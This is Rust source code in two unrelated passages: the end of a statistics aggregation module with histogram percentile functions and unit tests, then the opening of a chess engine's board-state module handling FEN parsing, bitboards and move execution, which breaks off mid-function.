{:?}", e), })?; } self.histo = Some(histo); } else { // If both are caches if self.cache.len() + other.cache.len() > HIST_MAX_CACHE_SIZE { // If the cache size exceeds our maximal cache size drain them into a histogram self.high_bound = max(self.high_bound, other.high_bound); let mut histo: Histogram<u64> = Histogram::new_with_bounds(1, self.high_bound(), 2).map_err(|e| { FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to init historgrams: {:?}", e), } })?; histo.auto(true); for v in self.cache.drain(..) { histo.record(v).map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to record value: {:?}", e), })?; } for v in &other.cache { histo.record(*v).map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to record value: {:?}", e), })?; } self.histo = Some(histo); } else { // If not append it's cache self.cache.extend(&other.cache); } } } } Ok(()) } // fn compensate<'event>(&mut self, _args: &[&Value<'event>]) -> FResult<()> { // // TODO there's no facility for this with hdr histogram, punt for now // Ok(()) // } fn emit<'event>(&mut self) -> FResult<Value<'event>> { let mut p = hashmap! {}; if let Some(histo) = &self.histo { for (pcn, percentile) in &self.percentiles { p.insert( pcn.clone().into(), Value::from(histo.value_at_percentile(percentile * 100.0)), ); } Ok(Value::from(hashmap! { "count".into() => Value::from(histo.len()), "min".into() => Value::from(histo.min()), "max".into() => Value::from(histo.max()), "mean".into() => Value::from(histo.mean()), "stdev".into() => Value::from(histo.stdev()), "var".into() => Value::from(histo.stdev().powf(2.0)), "percentiles".into() => Value::from(p), })) } else { let mut histo: Histogram<u64> = Histogram::new_with_bounds(1, self.high_bound(), 2) .map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to init historgrams: {:?}", e), })?; histo.auto(true); for v in self.cache.drain(..) { histo.record(v).map_err(|e| FunctionError::RuntimeError { mfa: mfa("stats", "hdr", 2), error: format!("failed to record value: {:?}", e), })?; } for (pcn, percentile) in &self.percentiles { p.insert( pcn.clone().into(), Value::from(histo.value_at_percentile(percentile * 100.0)), ); } let res = Value::from(hashmap! { "count".into() => Value::from(histo.len()), "min".into() => Value::from(histo.min()), "max".into() => Value::from(histo.max()), "mean".into() => Value::from(histo.mean()), "stdev".into() => Value::from(histo.stdev()), "var".into() => Value::from(histo.stdev().powf(2.0)), "percentiles".into() => Value::from(p), }); self.histo = Some(histo); Ok(res) } } fn init(&mut self) { self.histo = None; self.high_bound = 0; self.cache.clear(); } #[cfg(not(tarpaulin_include))] fn boxed_clone(&self) -> Box<dyn TremorAggrFn> { Box::new(self.clone()) } fn arity(&self) -> RangeInclusive<usize> { 1..=2 } } pub fn load_aggr(registry: &mut AggrRegistry) { // Allow: this is ok because we must use the result of insert registry .insert(TremorAggrFnWrapper::new( "stats".to_string(), "count".to_string(), Box::new(Count::default()), )) .insert(TremorAggrFnWrapper::new( "stats".to_string(), "min".to_string(), Box::new(Min::default()), )) .insert(TremorAggrFnWrapper::new( "stats".to_string(), "max".to_string(), Box::new(Max::default()), )) .insert(TremorAggrFnWrapper::new( "stats".to_string(), "sum".to_string(), Box::new(Sum::default()), )) .insert(TremorAggrFnWrapper::new( "stats".to_string(), "var".to_string(), Box::new(Var::default()), )) .insert(TremorAggrFnWrapper::new( "stats".to_string(), "stdev".to_string(), Box::new(Stdev::default()), )) .insert(TremorAggrFnWrapper::new( "stats".to_string(), "mean".to_string(), Box::new(Mean::default()), )) .insert(TremorAggrFnWrapper::new( "stats".to_string(), "hdr".to_string(), Box::new(Hdr::default()), )) .insert(TremorAggrFnWrapper::new( "stats".to_string(), "dds".to_string(), Box::new(Dds::default()), )); } #[cfg(test)] mod test { // use std::ffi::VaList; use super::*; use crate::registry::FResult as Result; use float_cmp::approx_eq; #[test] fn count() -> Result<()> { let mut a = Count::default(); a.init(); a.accumulate(&[])?; a.accumulate(&[])?; a.accumulate(&[])?; assert_eq!(a.emit()?, 3); let mut b = Count::default(); b.init(); b.accumulate(&[])?; b.merge(&a)?; assert_eq!(b.emit()?, 4); Ok(()) } #[test] fn min() -> Result<()> { let mut a = Min::default(); a.init(); let one = Value::from(1); let two = Value::from(2); let three = Value::from(3); let err = Value::null(); assert!(a.accumulate(&[&err]).is_err()); a.accumulate(&[&one])?; a.accumulate(&[&two])?; a.accumulate(&[&three])?; assert_eq!(a.emit()?, 1.0); let mut b = Min::default(); b.init(); b.merge(&a)?; assert_eq!(a.emit()?, 1.0); assert_eq!(a.arity(), 1..=1); Ok(()) } #[test] fn max() -> Result<()> { let mut a = Max::default(); a.init(); let one = Value::from(1); let two = Value::from(2); let three = Value::from(3); let err = Value::null(); assert!(a.accumulate(&[&err]).is_err()); a.accumulate(&[&one])?; a.accumulate(&[&two])?; a.accumulate(&[&three])?; assert_eq!(a.emit()?, 3.0); let mut b = Max::default(); b.init(); b.merge(&a)?; assert_eq!(a.emit()?, 3.0); assert_eq!(a.arity(), 1..=1); Ok(()) } #[test] fn sum() -> Result<()> { let mut a = Sum::default(); a.init(); let one = Value::from(1); let two = Value::from(2); let three = Value::from(3); let four = Value::from(4); let err = Value::null(); assert!(a.accumulate(&[&err]).is_err()); a.accumulate(&[&one])?; a.accumulate(&[&two])?; a.accumulate(&[&three])?; assert_eq!(a.emit()?, 6.0); let mut b = Mean::default(); b.init(); a.accumulate(&[&four])?; a.merge(&b)?; assert_eq!(a.emit()?, 10.0); assert_eq!(a.arity(), 1..=1); Ok(()) } #[test] fn mean() -> Result<()> { let mut a = Mean::default(); a.init(); assert_eq!(a.emit()?, ()); let one = Value::from(1); let two = Value::from(2); let three = Value::from(3); let four = Value::from(4); let err = Value::null(); assert!(a.accumulate(&[&err]).is_err()); a.accumulate(&[&one])?; a.accumulate(&[&two])?; a.accumulate(&[&three])?; assert_eq!(a.emit()?, 2.0); let mut b = Mean::default(); b.init(); a.accumulate(&[&four])?; a.merge(&b)?; assert_eq!(a.emit()?, 2.5); assert_eq!(a.arity(), 1..=1); Ok(()) } #[test] fn variance() -> Result<()> { let mut a = Var::default(); a.init(); assert_eq!(a.emit()?, 0.0); let two = Value::from(2); let four = Value::from(4); let nineteen = Value::from(19); let nine = Value::from(9); let err = Value::null(); assert!(a.accumulate(&[&err]).is_err()); a.accumulate(&[&two])?; a.accumulate(&[&four])?; a.accumulate(&[&nineteen])?; a.accumulate(&[&nine])?; let r = a.emit()?.cast_f64().expect("screw it"); assert!(approx_eq!(f64, dbg!(r), 173.0 / 3.0)); let mut b = Var::default(); b.init(); b.accumulate(&[&two])?; b.accumulate(&[&four])?; b.merge(&a)?; let r = b.emit()?.cast_f64().expect("screw it"); assert!(approx_eq!(f64, dbg!(r), 43.066_666_666_666_67)); let mut c = Var::default(); c.init(); c.accumulate(&[&two])?; c.accumulate(&[&four])?; let r = c.emit()?.cast_f64().expect("screw it"); assert!(approx_eq!(f64, dbg!(r), 2.0)); b.merge(&c)?; let r = b.emit()?.cast_f64().expect("screw it"); assert!(approx_eq!(f64, dbg!(r), 33.928_571_428_571_43)); assert_eq!(a.arity(), 1..=1); Ok(()) } #[test] fn stdev() -> Result<()> { let mut a = Stdev::default(); a.init(); let two = Value::from(2); let four = Value::from(4); let nineteen = Value::from(19); let err = Value::null(); assert!(a.accumulate(&[&err]).is_err()); a.accumulate(&[&two])?; a.accumulate(&[&four])?; a.accumulate(&[&nineteen])?; assert!((a.emit()?.cast_f64().expect("screw it") - (259.0_f64 / 3.0).sqrt()) < 0.001); let mut b = Stdev::default(); b.merge(&a)?; assert!((b.emit()?.cast_f64().expect("screw it") - (259.0_f64 / 3.0).sqrt()) < 0.001); assert_eq!(a.arity(), 1..=1); Ok(()) } #[test] fn hdr() -> Result<()> { let mut a = Hdr::default(); a.init(); assert!(a .accumulate(&[ &Value::from(0), &literal!(["snot", "0.9", "0.95", "0.99", "0.999", "0.9999"]), ]) .is_err()); for i in 1..=100 { a.accumulate(&[ &Value::from(i), &literal!(["0.5", "0.9", "0.95", "0.99", "0.999", "0.9999"]), ])?; } let e = literal!({ "min": 1, "max": 100, "count": 100, "mean": 50.5, "stdev": 28.866_070_047_722_12, "var": 833.25, "percentiles": { "0.5": 50, "0.9": 90, "0.95": 95, "0.99": 99, "0.999": 100, "0.9999": 100 } }); assert_eq!(a.emit()?, e); let mut b = Hdr::default(); b.init(); b.merge(&a)?; assert_eq!(b.emit()?, e); assert_eq!(a.arity(), 1..=2); Ok(()) } #[test] fn dds() -> Result<()> { use crate::Value; let mut a = Dds::default(); a.init(); assert!(a .accumulate(&[ &Value::from(0), &literal!(["snot", "0.9", "0.95", "0.99", "0.999", "0.9999"]), ]) .is_err()); for i in 1..=100 { a.accumulate(&[ &Value::from(i), &literal!(["0.5", "0.9", "0.95", "0.99", "0.999", "0.9999"]), ])?; } let e = literal!({ "min": 1.0, "max": 100.0, "count": 100, "mean": 50.5, "percentiles": { "0.5": 50.0, "0.9": 89.2, "0.95": 94.7, "0.99": 98.6, "0.999": 98.6, "0.9999": 98.6, } }); assert_eq!(a.emit()?, e); let mut b = Dds::default(); b.init(); b.merge(&a)?; assert_eq!(b.emit()?, e); assert_eq!(a.arity(), 1..=2); Ok(()) } }
/* * Copyright (C) 2020 Zixiao Han */ use crate::{ bitboard::BitBoard, bitmask, def, util, zob_keys, }; use std::fmt; const FEN_SQRS_INDEX: usize = 0; const FEN_PLAYER_INDEX: usize = 1; const FEN_CAS_RIGHTS_INDEX: usize = 2; const FEN_ENP_SQR_INDEX: usize = 3; const FEN_HALF_MOV_INDEX: usize = 4; const FEN_FULL_MOV_INDEX: usize = 5; const REP_POS_START_INDEX: usize = 4; const MAX_NON_CAP_MOV_COUNT: usize = 100; const K_CAS_SQR_SIZE: usize = 4; const Q_CAS_SQR_SIZE: usize = 5; const WK_BEFORE_CAS_SQRS: [u8; K_CAS_SQR_SIZE] = [def::WK, 0, 0, def::WR]; const WK_AFTER_CAS_SQRS: [u8; K_CAS_SQR_SIZE] = [0, def::WR, def::WK, 0]; const BK_BEFORE_CAS_SQRS: [u8; K_CAS_SQR_SIZE] = [def::BK, 0, 0, def::BR]; const BK_AFTER_CAS_SQRS: [u8; K_CAS_SQR_SIZE] = [0, def::BR, def::BK, 0]; const WQ_BEFORE_CAS_SQRS: [u8; Q_CAS_SQR_SIZE] = [def::WR, 0, 0, 0, def::WK]; const WQ_AFTER_CAS_SQRS: [u8; Q_CAS_SQR_SIZE] = [0, 0, def::WK, def::WR, 0]; const BQ_BEFORE_CAS_SQRS: [u8; Q_CAS_SQR_SIZE] = [def::BR, 0, 0, 0, def::BK]; const BQ_AFTER_CAS_SQRS: [u8; Q_CAS_SQR_SIZE] = [0, 0, def::BK, def::BR, 0]; const WK_CAS_ALL_MASK: u64 = 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_11110000; const WK_CAS_R_MASK: u64 = 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_10100000; const BK_CAS_ALL_MASK: u64 = 0b11110000_00000000_00000000_00000000_00000000_00000000_00000000_00000000; const BK_CAS_R_MASK: u64 = 0b10100000_00000000_00000000_00000000_00000000_00000000_00000000_00000000; const WQ_CAS_ALL_MASK: u64 = 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00011101; const WQ_CAS_R_MASK: u64 = 0b00000000_00000000_00000000_00000000_00000000_00000000_00000000_00001001; const BQ_CAS_ALL_MASK: u64 = 0b00011101_00000000_00000000_00000000_00000000_00000000_00000000_00000000; const BQ_CAS_R_MASK: u64 = 0b00001001_00000000_00000000_00000000_00000000_00000000_00000000_00000000; pub struct State { pub squares: [u8; def::BOARD_SIZE], pub player: u8, pub cas_rights: u8, pub enp_square: usize, pub half_mov_count: u16, pub full_mov_count: u16, pub hash_key: u64, pub wk_index: usize, pub bk_index: usize, pub cas_history: u8, pub bitboard: BitBoard, pub wp_count: i32, pub wn_count: i32, pub wb_count: i32, pub wr_count: i32, pub wq_count: i32, pub bp_count: i32, pub bn_count: i32, pub bb_count: i32, pub br_count: i32, pub bq_count: i32, pub taken_piece_stack: Vec<u8>, pub enp_sqr_stack: Vec<usize>, pub cas_rights_stack: Vec<u8>, pub history_pos_stack: Vec<(u64, u8)>, pub history_mov_stack: Vec<(u8, usize, usize)>, pub half_mov_count_stack: Vec<u16>, pub king_index_stack: Vec<(usize, usize)>, } impl State { pub fn new(fen_string: &str) -> Self { let fen_segment_list: Vec<&str> = fen_string.split(" ").collect(); let player = get_player_from_fen(fen_segment_list[FEN_PLAYER_INDEX]); let cas_rights = get_cas_rights_from_fen(fen_segment_list[FEN_CAS_RIGHTS_INDEX]); let enp_square = get_enp_sqr_from_fen(fen_segment_list[FEN_ENP_SQR_INDEX]); let half_mov_count = fen_segment_list[FEN_HALF_MOV_INDEX].parse::<u16>().unwrap(); let full_mov_count = fen_segment_list[FEN_FULL_MOV_INDEX].parse::<u16>().unwrap(); let bitmask = bitmask::get_bitmask(); let mut squares = [0; def::BOARD_SIZE]; let mut hash_key = 0; let mut wk_index = 0; let mut bk_index = 0; let mut wp_count = 0; let mut wn_count = 0; let mut wb_count = 0; let mut wr_count = 0; let mut wq_count = 0; let mut bp_count = 0; let mut bn_count = 0; let mut bb_count = 0; let mut br_count = 0; let mut bq_count = 0; let mut bitboard = BitBoard::new(); let rank_string_list: Vec<&str> = fen_segment_list[FEN_SQRS_INDEX].split("/").collect(); let mut index = 56; for rank_index in 0..def::DIM_SIZE { let rank_string = rank_string_list[rank_index]; for char_code in rank_string.chars() { if char_code.is_numeric() { index += char_code.to_digit(10).unwrap() as usize; continue } if char_code.is_alphabetic() { let piece = util::map_piece_char_to_code(char_code); squares[index] = piece; hash_key ^= zob_keys::get_board_zob_key(index, piece); match piece { def::WP => { bitboard.w_pawn ^= bitmask.index_masks[index]; wp_count += 1; }, def::BP => { bitboard.b_pawn ^= bitmask.index_masks[index]; bp_count += 1; }, def::WN => { bitboard.w_knight ^= bitmask.index_masks[index]; wn_count += 1; }, def::BN => { bitboard.b_knight ^= bitmask.index_masks[index]; bn_count += 1; }, def::WB => { bitboard.w_bishop ^= bitmask.index_masks[index]; wb_count += 1; }, def::BB => { bitboard.b_bishop ^= bitmask.index_masks[index]; bb_count += 1; }, def::WR => { bitboard.w_rook ^= bitmask.index_masks[index]; wr_count += 1; }, def::BR => { bitboard.b_rook ^= bitmask.index_masks[index]; br_count += 1; }, def::WQ => { bitboard.w_queen ^= bitmask.index_masks[index]; wq_count += 1; }, def::BQ => { bitboard.b_queen ^= bitmask.index_masks[index]; bq_count += 1; }, def::WK => { wk_index = index; }, def::BK => { bk_index = index; }, _ => () } if def::on_same_side(def::PLAYER_W, piece) { bitboard.w_all ^= bitmask.index_masks[index]; } else { bitboard.b_all ^= bitmask.index_masks[index]; } index += 1; } } if index == def::DIM_SIZE { break } index -= 16; } State { squares, player, cas_rights, enp_square, half_mov_count, hash_key, wk_index, bk_index, cas_history: 0, bitboard, wp_count, wn_count, wb_count, wr_count, wq_count, bp_count, bn_count, bb_count, br_count, bq_count, taken_piece_stack: Vec::new(), enp_sqr_stack: Vec::new(), cas_rights_stack: Vec::new(), history_pos_stack: Vec::new(), history_mov_stack: Vec::new(), half_mov_count_stack: Vec::new(), king_index_stack: Vec::new(), full_mov_count, } } pub fn is_draw(&self, ply: u8) -> bool { let history_len = self.history_pos_stack.len(); let check_range = history_len.min(self.half_mov_count as usize + 1); if check_range < REP_POS_START_INDEX { return false; } if ply < 2 { return false; } if check_range >= MAX_NON_CAP_MOV_COUNT { return true } for check_index in REP_POS_START_INDEX..=check_range { let (pos_hash, player) = self.history_pos_stack[history_len-check_index]; if pos_hash == self.hash_key && player == self.player { return true; } } false } pub fn do_null_mov(&mut self) { self.player = def::get_opposite_player(self.player); self.enp_sqr_stack.push(self.enp_square); self.enp_square = 0; } pub fn undo_null_mov(&mut self) { self.player = def::get_opposite_player(self.player); self.enp_square = self.enp_sqr_stack.pop().unwrap(); } pub fn do_mov(&mut self, from: usize, to: usize, mov_type: u8, promo: u8) { self.cas_rights_stack.push(self.cas_rights); self.enp_sqr_stack.push(self.enp_square); self.history_pos_stack.push((self.hash_key, self.player)); self.history_mov_stack.push((self.player, from, to)); self.half_mov_count_stack.push(self.half_mov_count); self.king_index_stack.push((self.wk_index, self.bk_index)); self.enp_square = 0; self.full_mov_count += 1; match mov_type { def::MOV_REG => self.do_reg_mov(from, to), def::MOV_PROMO => self.do_promo_mov(from, to, promo), def::MOV_CAS => self.do_cas_mov(to), def::MOV_ENP => self.do_enp_mov(from, to), def::MOV_CR_ENP => self.do_cr_enp_mov(from, to), _ => panic!("invalid mov type {}", mov_type), } self.player = def::get_opposite_player(self.player); } pub fn undo_mov(&mut self, from: usize, to: usize, mov_type: u8) { self.full_mov_count -= 1; self.cas_rights = self.cas_rights_stack.pop().unwrap(); self.enp_square = self.enp_sqr_stack.pop().unwrap(); self.history_mov_stack.pop(); self.half_mov_count = self.half_mov_count_stack.pop().unwrap(); let (wk_index, bk_index) = self.king_index_stack.pop().unwrap(); self.wk_index = wk_index; self.bk_index = bk_index; self.hash_key = self.history_pos_stack.pop().unwrap().0; self.player = def::get_opposite_player(self.player); match mov_type { def::MOV_REG => self.undo_reg_mov(from, to), def::MOV_PROMO => self.undo_promo_mov(from, to), def::MOV_CAS => self.undo_cas_mov(to), def::MOV_ENP => self.undo_enp_mov(from, to), def::MOV_CR_ENP => self.undo_cr_enp_mov(from, to), _ => panic!("invalid mov type {}", mov_type), } } fn do_reg_mov(&mut self, from: usize, to: usize) { let moving_piece = self.squares[from]; let taken_piece = self.squares[to]; let from_index_mask = bitmask::get_bitmask().index_masks[from]; let to_index_mask = bitmask::get_bitmask().index_masks[to]; let move_index_mask = from_index_mask ^ to_index_mask; self.hash_key ^= zob_keys::get_board_zob_key(from, moving_piece) ^ zob_keys::get_board_zob_key(to, moving_piece); if def::on_same_side(def::PLAYER_W, moving_piece) { self.bitboard.w_all ^= move_index_mask; } else { self.bitboard.b_all ^= move_index_mask; } match moving_piece { def::WP => { self.bitboard.w_pawn ^= move_index_mask; }, def::WN => { self.bitboard.w_knight ^= move_index_mask; }, def::WB => { self.bitboard.w_bishop ^= move_index_mask; }, def::WR => { self.bitboard.w_rook ^= move_index_mask; if from == 0 { self.cas_rights &= 0b1011; } else if from == 7 { self.cas_rights &= 0b0111; } }, def::WQ => { self.bitboard.w_queen ^= move_index_mask; }, def::BP => { self.bitboard.b_pawn ^= move_index_mask; }, def::BN => { self.bitboard.b_knight ^= move_index_mask; }, def::BB => { self.bitboard.b_bishop ^= move_index_mask; }, def::BR => { self.bitboard.b_rook ^= move_index_mask; if from == 56 { self.cas_rights &= 0b1110; } else if from == 63 { self.cas_rights &= 0b1101; } }, def::BQ => { self.bitboard.b_queen ^= move_index_mask; }, def::WK => { if from == 4 { self.cas_rights &= 0b0011; } self.wk_index = to; }, def::BK => { if from == 60 { self.cas_rights &= 0b1100; } self.bk_index = to; }, _ => (), } if taken_piece == 0 { if def::is_p(moving_piece) { self.half_mov_count = 0; } else { self.half_mov_count += 1; } } else { self.half_mov_count = 0; self.hash_key ^= zob_keys::get_board_zob_key(to, taken_piece); if def::on_same_side(def::PLAYER_W, taken_piece) { self.bitboard.w_all ^= to_index_mask; } else { self.bitboard.b_all ^= to_index_mask; } match taken_piece { def::WP => { self.bitboard.w_pawn ^= to_index_mask; self.wp_count -= 1; }, def::WN => { self.bitboard.w_knight ^= to_index_mask; self.wn_count -= 1; }, def::WB => { self.bitboard.w_bishop ^= to_index_mask; self.wb_count -= 1; }, def::WR => { self.bitboard.w_rook ^= to_index_mask; self.wr_count -= 1; }, def::WQ => { self.bitboard.w_queen ^= to_index_mask; self.wq_count -= 1; }, def::BP => { self.bitboard.b_pawn ^= to_index_mask; self.bp_count -= 1; }, def::BN => { self.bitboard.b_knight ^= to_index_mask; self.bn_count -= 1; }, def::BB => { self.bitboard.b_bishop ^= to_index_mask; self.bb_count -= 1; }, def::BR => { self.bitboard.b_rook ^= to_index_mask; self.br_count -= 1; }, def::BQ => { self.bitboard.b_queen ^= to_index_mask; self.bq_count -= 1; }, _ => (), } } self.taken_piece_stack.push(taken_piece); self.squares[to] = moving_piece; self.squares[from] = 0; } fn undo_reg_mov(&mut self, from: usize, to: usize) { let moving_piece = self.squares[to]; let taken_piece = self.taken_piece_stack.pop().unwrap(); self.squares[to] = taken_piece; self.squares[from] = moving_piece; let from_index_mask = bitmask::get_bitmask().index_masks[from]; let to_index_mask = bitmask::get_bitmask().index_masks[to]; let move_index_mask = from_index_mask ^ to_index_mask; if def::on_same_side(def::PLAYER_W, moving_piece) { self.bitboard.w_all ^= move_index_mask; } else { self.bitboard.b_all ^= move_index_mask; } match moving_piece { def::WP => { self.bitboard.w_pawn ^= move_index_mask; }, def::WN => { self.bitboard.w_knight ^= move_index_mask; }, def::WB => { self.bitboard.w_bishop ^= move_index_mask; }, def::WR => { self.bitboard.w_rook ^= move_index_mask; }, def::WQ => { self.bitboard.w_queen ^= move_index_mask; }, def::BP => { self.bitboard.b_pawn ^= move_index_mask; }, def::BN => { self.bitboard.b_knight ^= move_index_mask; }, def::BB => { self.bitboard.b_bishop ^= move_index_mask; }, def::BR => { self.bitboard.b_rook ^= move_index_mask; }, def::BQ => { self.bitboard.b_queen ^= move_index_mask; }, _ => (), } if taken_piece != 0 { if def::on_same_side(def::PLAYER_W, taken_piece) { self.bitboard.w_all ^= to_index_mask; } else { self.bitboard.b_all ^= to_index_mask; } match taken_piece { def::WP => { self.bitboard.w_pawn ^= to_index_mask; self.wp_count += 1; }, def::WN => { self.bitboard.w_knight ^= to_index_mask; self.wn_count += 1; }, def::WB => { self.bitboard.w_bishop ^= to_index_mask; self.wb_count += 1; }, def::WR => { self.bitboard.w_rook ^= to_index_mask; self.wr_count += 1; }, def::WQ => { self.bitboard.w_queen ^= to_index_mask; self.wq_count += 1; }, def::BP => { self.bitboard.b_pawn ^= to_index_mask; self.bp_count += 1; }, def::BN => { self.bitboard.b_knight ^= to_index_mask; self.bn_count += 1; }, def::BB => { self.bitboard.b_bishop ^= to_index_mask; self.bb_count += 1; }, def::BR => { self.bitboard.b_rook ^= to_index_mask; self.br_count += 1; }, def::BQ => { self.bitboard.b_queen ^= to_index_mask; self.bq_count += 1; }, _ => (), } } } fn do_promo_mov(&mut self, from: usize, to: usize, promo: u8) { let moving_piece = self.squares[from]; let taken_piece = self.squares[to]; let from_index_mask = bitmask::get_bitmask().index_masks[from]; let to_index_mask = bitmask::get_bitmask().index_masks[to]; if moving_piece == def::WP { self.bitboard.w_pawn ^= from_index_mask; self.bitboard.w_all ^= from_index_mask; self.bitboard.w_all ^= to_index_mask; self.wp_count -= 1; } else { self.bitboard.b_pawn ^= from_index_mask; self.bitboard.b_all ^= from_index_mask; self.bitboard.b_all ^= to_index_mask; self.bp_count -= 1; } match promo { def::WN => { self.bitboard.w_knight ^= to_index_mask; self.wn_count += 1; }, def::WB => { self.bitboard.w_bishop ^= to_index_mask; self.wb_count += 1; }, def::WR => { self.bitboard.w_rook ^= to_index_mask; self.wr_count += 1; }, def::WQ => { self.bitboard.w_queen ^= to_index_mask; self.wq_count += 1; }, def::BN => { self.bitboard.b_knight ^= to_index_mask; self.bn_count += 1; }, def::BB => { self.bitboard.b_bishop ^= to_index_mask; self.bb_count += 1; }, def::BR => { self.bitboard.b_rook ^= to_index_mask; self.br_count += 1; }, def::BQ => { self.bitboard.b_queen ^= to_index_mask; self.bq_count += 1; }, _ => (), } self.hash_key ^= zob_keys::get_board_zob_key(from, moving_piece) ^ zob_keys::get_board_zob_key(to, promo); if taken_piece != 0 { self.hash_key ^= zob_keys::get_board_zob_key(to, taken_piece); if def::on_same_side(def::PLAYER_W, taken_piece) { self.bitboard.w_all ^= to_index_mask; } else { self.bitboard.b_all ^= to_index_mask; } match taken_piece { def::WN => { self.bitboard.w_knight ^= to_index_mask; self.wn_count -= 1; }, def::WB => { self.bitboard.w_bishop ^= to_index_mask; self.wb_count -= 1; }, def::WR => { self.bitboard.w_rook ^= to_index_mask; self.wr_count -= 1; }, def::WQ => { self.bitboard.w_queen ^= to_index_mask; self.wq_count -= 1; }, def::BN => { self.bitboard.b_knight ^= to_index_mask; self.bn_count -= 1; }, def::BB => { self.bitboard.b_bishop ^= to_index_mask; self.bb_count -= 1; }, def::BR => { self.bitboard.b_rook ^= to_index_mask; self.br_count -= 1; }, def::BQ => { self.bitboard.b_queen ^= to_index_mask; self.bq_count -= 1; }, _ => (), } } self.taken_piece_stack.push(taken_piece); self.squares[to] = promo; self.squares[from] = 0; self.half_mov_count = 0; } fn undo_promo_mov(&mut self, from: usize, to: usize) { let moving_piece = if self.player == def::PLAYER_W { def::WP } else { def::BP }; let promo = self.squares[to]; let taken_piece = self.taken_piece_stack.pop().unwrap(); self.squares[to] = taken_piece; self.squares[from] = moving_piece; let from_index_mask = bitmask::get_bitmask().index_masks[from]; let to_index_mask = bitmask::get_bitmask().index_masks[to]; if moving_piece == def::WP { self.bitboard.w_pawn ^= from_index_mask; self.bitboard.w_all ^= from_index_mask; self.bitboard.w_all ^= to_index_mask; self.wp_count += 1; } else { self.bitboard.b_pawn ^= from_index_mask; self.bitboard.b_all ^= from_index_mask; self.bitboard.b_all ^= to_index_mask; self.bp_count += 1; } match promo { def::WN => { self.bitboard.w_knight ^= to_index_mask; self.wn_count -= 1; }, def::WB => { self.bitboard.w_bishop ^= to_index_mask; self.wb_count -= 1; }, def::WR => { self.bitboard.w_rook ^= to_index_mask; self.wr_count -= 1; }, def::WQ => { self.bitboard.w_queen ^= to_index_mask; self.wq_count -= 1; }, def::BN => { self.bitboard.b_knight ^= to_index_mask; self.bn_count -= 1; }, def::BB => { self.bitboard.b_bishop ^= to_index_mask; self.bb_count -= 1; }, def::BR => { self.bitboard.b_rook ^= to_index_mask; self.br_count -= 1; }, def::BQ => { self.bitboard.b_queen ^= to_index_mask; self.bq_count -= 1; }, _ => (), } if taken_piece != 0 { if def::on_same_side(def::PLAYER_W, taken_piece) { self.bitboard.w_all ^= to_index_mask; } else { self.bitboard.b_all ^= to_index_mask; } match taken_piece { def::WN => { self.bitboard.w_knight ^= to_index_mask; self.wn_count += 1; }, def::WB => { self.bitboard.w_bishop ^= to_index_mask; self.wb_count += 1; }, def::WR => { self.bitboard.w_rook ^= to_index_mask; self.wr_count += 1; }, def::WQ => { self.bitboard.w_queen ^= to_index_mask; self.wq_count += 1; }, def::BN => { self.bitboard.b_knight ^= to_index_mask; self.bn_count += 1; }, def::BB => { self.bitboard.b_bishop ^= to_index_mask; self.bb_count += 1; }, def::BR => { self.bitboard.b_rook ^= to_index_mask; self.br_count += 1; }, def::BQ => { self.bitboard.b_queen ^= to_index_mask; self.bq_count += 1; }, _ => (), } } } fn do_cas_mov(&mut self, to: usize) { self.half_mov_count = 0; if to == def::CAS_SQUARE_WK { self.cas_rights &= 0b0011; self.cas_history |= 0b1100; self.wk_index = to; self.squares[def::CAS_SQUARE_WK-2..=def::CAS_SQUARE_WK+1].copy_from_slice(&WK_AFTER_CAS_SQRS); self.hash_key ^= zob_keys::get_board_zob_key(def::CAS_SQUARE_WK-2, def::WK) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_WK, def::WK) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_WK-1, def::WR) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_WK+1, def::WR); self.bitboard.w_all ^= WK_CAS_ALL_MASK; self.bitboard.w_rook ^= WK_CAS_R_MASK; } else if to == def::CAS_SQUARE_BK { self.cas_rights &= 0b1100; self.cas_history |= 0b0011; self.bk_index = to; self.squares[def::CAS_SQUARE_BK-2..=def::CAS_SQUARE_BK+1].copy_from_slice(&BK_AFTER_CAS_SQRS); self.hash_key ^= zob_keys::get_board_zob_key(def::CAS_SQUARE_BK-2, def::BK) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_BK, def::BK) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_BK-1, def::BR) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_BK+1, def::BR); self.bitboard.b_all ^= BK_CAS_ALL_MASK; self.bitboard.b_rook ^= BK_CAS_R_MASK; } else if to == def::CAS_SQUARE_WQ { self.cas_rights &= 0b0011; self.cas_history |= 0b1100; self.wk_index = to; self.squares[def::CAS_SQUARE_WQ-2..=def::CAS_SQUARE_WQ+2].copy_from_slice(&WQ_AFTER_CAS_SQRS); self.hash_key ^= zob_keys::get_board_zob_key(def::CAS_SQUARE_WQ+2, def::WK) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_WQ, def::WK) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_WQ-2, def::WR) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_WQ+1, def::WR); self.bitboard.w_all ^= WQ_CAS_ALL_MASK; self.bitboard.w_rook ^= WQ_CAS_R_MASK; } else if to == def::CAS_SQUARE_BQ { self.cas_rights &= 0b1100; self.cas_history |= 0b0011; self.bk_index = to; self.squares[def::CAS_SQUARE_BQ-2..=def::CAS_SQUARE_BQ+2].copy_from_slice(&BQ_AFTER_CAS_SQRS); self.hash_key ^= zob_keys::get_board_zob_key(def::CAS_SQUARE_BQ+2, def::BK) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_BQ, def::BK) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_BQ-2, def::BR) ^ zob_keys::get_board_zob_key(def::CAS_SQUARE_BQ+1, def::BR); self.bitboard.b_all ^= BQ_CAS_ALL_MASK; self.bitboard.b_rook ^= BQ_CAS_R_MASK; } } fn undo_cas_mov(&mut self, to: usize) { if to == def::CAS_SQUARE_WK { self.squares[def::CAS_SQUARE_WK-2..=def::CAS_SQUARE_WK+1].copy_from_slice(&WK_BEFORE_CAS_SQRS); 